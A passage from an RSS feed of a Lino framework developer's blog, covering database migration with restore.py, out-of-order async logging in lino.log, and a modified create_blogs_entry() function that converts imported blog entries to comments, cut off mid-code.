class="s1"&gt;&amp;#39;4&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;30&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;create_isip_contract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;3&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;124&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;125&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;30&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;46&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;138&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fr&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2014&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2015&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2015&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;30&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;create_isip_contract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1908&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;124&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;125&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;67&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;13364&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2023&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;74&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;4&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2023&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;3&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;flush_deferred_objects&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The reason was stupid: the (modified) &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#xfile-restore.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;restore.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; took the snapshot
files from another directory from October 2022.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="async-logging-seems-buggy"&gt;
&lt;h2&gt;async logging seems buggy&lt;a class="headerlink" href="#async-logging-seems-buggy" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I also made the following observation: the &lt;a class="reference external" href="https://dev.lino-framework.org/topics/logging.html#xfile-lino.log" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.log&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file contains the
messages emitted by &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#xfile-restore.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;restore.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; are in a kind of random ordering.&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;202301-07 03:25:48 INFO [restore2preview 2273819 139926527686464] : Execute file isip_contract.py …
202301-07 04:27:12 INFO [isip_contract 2274609 140001715451712] : Loading 1811 objects to table isip_contract…&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;We are on a production server with asgi and daphne, so logging happens via an
async consumer. How does a &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#xfile-restore.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;restore.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; script (invoked using a
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/run.html#command-pm-run" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command) connect to the logger consumer? What if supervisor is not
running? What if it is running but has not been restarted after the
&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;?&lt;/p&gt;
&lt;p&gt;I stopped the supervisor service and set &lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_linod&lt;/span&gt;&lt;/code&gt; to False, and then
restarted the migration. Now the &lt;a class="reference external" href="https://dev.lino-framework.org/topics/logging.html#xfile-lino.log" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.log&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file is at least consistent
with what I saw on screen:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;202301&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt; &lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;restore2preview&lt;/span&gt; &lt;span class="mi"&gt;2273819&lt;/span&gt; &lt;span class="mi"&gt;139926527686464&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Execute&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;isip_contract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;202301&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt; &lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;isip_contract&lt;/span&gt; &lt;span class="mi"&gt;2273819&lt;/span&gt; &lt;span class="mi"&gt;139926527686464&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="mi"&gt;1811&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt; &lt;span class="n"&gt;isip_contract&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;202301&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt; &lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;uploads_upload&lt;/span&gt; &lt;span class="mi"&gt;2273819&lt;/span&gt; &lt;span class="mi"&gt;139926527686464&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="mi"&gt;5585&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt; &lt;span class="n"&gt;uploads_upload&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;202301&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt; &lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;restore2preview&lt;/span&gt; &lt;span class="mi"&gt;2273819&lt;/span&gt; &lt;span class="mi"&gt;139926527686464&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Execute&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;users_authority&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But setting &lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_linod&lt;/span&gt;&lt;/code&gt; to &lt;cite&gt;False&lt;/cite&gt; when running a manual
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/django.html#term-django-admin-command" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;Django-admin command&lt;/span&gt;&lt;/a&gt; is of course not a satisfying workaround. I’d like
to have a Jitsi session with Sharif and try to understand what’s happening.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0106.html</guid><pubDate>Fri, 06 Jan 2023 00:00:00 +0000</pubDate></item><item><title>Monday, October 31, 2022</title><link>https://luc.lino-framework.org/blog/2022/1031.html</link><description>&lt;section id="monday-october-31-2022"&gt;
&lt;h1&gt;Monday, October 31, 2022&lt;a class="headerlink" href="#monday-october-31-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Example of the magic things you can do with Lino migrations.&lt;/p&gt;
&lt;p&gt;In an amici database there was a series of ca 250 blog entries  that had been
imported from TIM. They are rather comments than blog entries (were never
thought to get published). I simply changed the &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;create_blogs_entry()&lt;/span&gt;&lt;/code&gt;
function in the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#xfile-restore.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;restore.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; so that it converts them to comments.&lt;/p&gt;
&lt;p&gt;Here is the &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;create_blogs_entry()&lt;/span&gt;&lt;/code&gt; function as it was before:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;create_blogs_entry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;owner_type_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;owner_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;body_short_preview&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;body_full_preview&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pub_date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pub_time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;entry_type_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;owner_type_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_content_type_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner_type_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner_type_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;owner_type_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;owner_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body_short_preview&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;body_short_preview&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body_full_preview&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;body_full_preview&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pub_date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;pub_date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pub_time&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;pub_time&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry_type_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;entry_type_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;blogs_Entry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is what I changed it into:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;create_blogs_entry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;owner_type_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;owner_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;body_short_preview&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;body_full_preview&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pub_date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pub_time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;entry_type_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;owner_type_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_content_type_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner_type_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="c1"&gt;#kw.update(id=id)&lt;/span&gt;
